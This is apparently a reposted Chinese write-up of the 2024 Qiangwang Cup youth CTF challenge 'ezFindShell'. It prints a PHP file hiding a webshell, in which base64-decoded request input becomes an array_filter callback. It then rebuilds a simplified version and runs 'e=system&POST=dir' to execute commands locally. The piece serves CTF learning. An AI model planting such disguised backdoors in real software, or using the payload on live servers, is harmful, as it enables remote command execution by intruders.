CTF-WEB: 2024强网杯青少年专项赛 ezFindShell writeup

devtools/2024/11/29 9:03:43/

打开直接下载www.zip

通过百度网盘分享的文件:ezFindShell.zip
链接:https://pan.baidu.com/s/1JQjOk-qxaOf0s4f3Fgww7w?pwd=1111 
提取码:1111 
--来自百度网盘超级会员V2的分享

使用阿里webshell进行检测,找到可利用文件,或者直接全全局搜索$_

1de9d9a55a824f4f8b6f37af76596baa.php

<?php
class xKJDlNsT {public function AgKxKbTP($message) {echo "Message: $message\n";}
}
$obj = new xKJDlNsT();
$obj->AgKxKbTP("Hello from xKJDlNsT");$response = file_get_contents("https://httpbin.org/get");
echo "HTTP Response: $response\n";echo "Current Date: " . date("Y-m-d") . "\n";
echo "Current Time: " . date("H:i:s") . "\n";function iZbkflke($num) {if ($num <= 1) return 1;return $num * iZbkflke($num - 1);
}
echo "iZbkflke(5): " . iZbkflke(5) . "\n";$text = "QKCdvmnTVdA";
if (preg_match("/[a-z]+/", $text)) {echo "Match found in $text with pattern /[a-z]+/\n";
} else {echo "No match found for pattern /[a-z]+/\n";
}$e=$_REQUEST['e'];$arr=array($_POST['POST'],);array_filter($arr,base64_decode($e));
?>

array_filter

array_filter 是 PHP 中的一个内置函数,用于过滤数组中的元素。它会根据用户提供的回调函数,检查数组中的每个元素,并返回一个新数组,包含所有通过回调函数测试的元素。

语法

array_filter(array $array, ?callable $callback = null, int $mode = 0): array

参数

  1. $array: 需要被过滤的输入数组。
  2. $callback: (可选)一个回调函数。这个函数会被应用到数组的每一个元素上。如果回调函数返回 true,该元素将被保留在返回的新数组中;如果返回 false,则该元素会被过滤掉。如果没有提供该参数,array_filter 会删除数组中所有的假值(如 falsenull0'' 等)。
  3. $mode: (可选)可以是 ARRAY_FILTER_USE_BOTH,表示回调函数会接收数组的键和值;默认是 ARRAY_FILTER_USE_KEY,只传递值。

返回值

返回一个包含通过回调函数测试的数组元素的新数组。

示例

  1. 基本用法
$input = [1, 2, 3, 4, 5, 6];
$output = array_filter($input, function($value) {return $value % 2 === 0; // 只保留偶数
});print_r($output); // 输出: Array ( [1] => 2 [3] => 4 [5] => 6 )
  1. 没有回调函数的用法
$input = [0, 1, false, 2, '', 3, null, 4];
$output = array_filter($input); // 过滤掉所有假值print_r($output); // 输出: Array ( [1] => 1 [3] => 2 [5] => 3 [7] => 4 )
  1. 使用键和值
$array = ['a' => 1,'b' => 2,'c' => 3,
];$output = array_filter($array, function($value, $key) {return $value > 1; // 只保留值大于 1 的元素
}, ARRAY_FILTER_USE_BOTH);print_r($output); // 输出: Array ( [b] => 2 [c] => 3 )

修改并简化代码在本地测试(php 7,8均成功)

<?php
$e=$_GET['e'];
$arr=array($_GET['POST']);
array_filter($arr,$e);
?>

尝试发送

&e=system&POST=dir

本地成功复现

������ D �еľ��� �ļ� �������к��� 022D-E392 D:\wamp64\www ��Ŀ¼ 2024/11/25 13:00
. 2024/11/24 17:39
.. 2024/11/25 13:02
.idea 2024/11/25 12:53 77 test.php 2024/11/25 13:00 20 test2.php 2 ���ļ� 97 �ֽ� 3 ��Ŀ¼ 592,092,061,696 �����ֽ�

–A5rZ


http://www.ppmy.cn/devtools/137881.html

相关文章

EasyPlayerPro播放本地MP4视频

加载本地mp4需指定协议http://localhost:5100/&#xff08;如 http:、https:、webrtc:、ws: 等&#xff09;来正确处理媒体流。 目录结构 ├── public/ │ ├──static │ │ ├── video.mp4 ├── components/ │ ├── EasyWebRTC.vue ├── views/ │ ├─…

网络原理->DNS协议和NAT协议解

前言 大家好我是小帅&#xff0c;今天我们来了解应用层的DNS协议和NAT技术 个人主页&#xff1a;再无B&#xff5e;U&#xff5e;G 文章目录 1.重要应⽤层协议DNS(Domain Name System)1.1 DNS背景 2. NAT技术3. 总结 1.重要应⽤层协议DNS(Domain Name System) DNS是⼀整套从域…

基于Qt实现的自定义树结构容器:设计与应用

在Qt框架中&#xff0c;尽管其提供了许多强大的容器类&#xff08;如 QList, QMap, QTreeWidget 等&#xff09;&#xff0c;但缺少一个通用的、灵活的树结构容器&#xff0c;直接支持多层级数据管理。为了满足这些需求&#xff0c;本文设计并实现了一个可复用的自定义树结构容…

Opencv+ROS实现摄像头读取处理画面信息

一、工具 ubuntu18.04 ROSopencv2 编译器&#xff1a;Visual Studio Code 二、原理 图像信息 ROS数据形式&#xff1a;sensor_msgs::Image OpenCV数据形式&#xff1a;cv:Mat 通过cv_bridge()函数进行ROS向opencv转换 cv_bridge是在ROS图像消息和OpenCV图像之间进行转…

Spring Events 最新详解(spring4.2前后变化)

事件驱动设计模式&#xff0c;也可能通过Spring来实现。 围绕事件的三个角色&#xff1a; 事件&#xff08;Event&#xff09;事件发布者&#xff08;Publisher&#xff09;事件监听者&#xff08;Listener&#xff09; 文章内容&#xff1a; Spring Event.jpg 1. Demo-01:…

15 go语言(golang) - 并发编程goroutine原理及数据安全

底层原理 Go 的 goroutine 是一种轻量级的线程实现&#xff0c;允许我们在程序中并发地执行函数。与传统的操作系统线程相比&#xff0c;goroutine 更加高效和易于使用。 轻量级调度 用户态调度&#xff1a;Go 运行时提供了自己的调度器&#xff0c;这意味着 goroutine 的创建…

C++:探索哈希表秘密之哈希桶实现哈希

文章目录 前言一、链地址法概念二、哈希表扩容三、哈希桶插入逻辑四、析构函数五、删除逻辑六、查找七、链地址法代码实现总结 前言 前面我们用开放定址法代码实现了哈希表&#xff1a; C&#xff1a;揭秘哈希&#xff1a;提升查找效率的终极技巧_1 对于开放定址法来说&#…

JavaScript 对象

JavaScript 对象 一、对象是什么 JavaScript 对象是一种复合数据类型&#xff0c;它将相关的数据&#xff08;属性&#xff09;和操作这些数据的方法&#xff08;函数&#xff09;组合在一起。 二、特点 属性多样性&#xff1a;可以包含各种类型的数据作为属性。方法灵活性…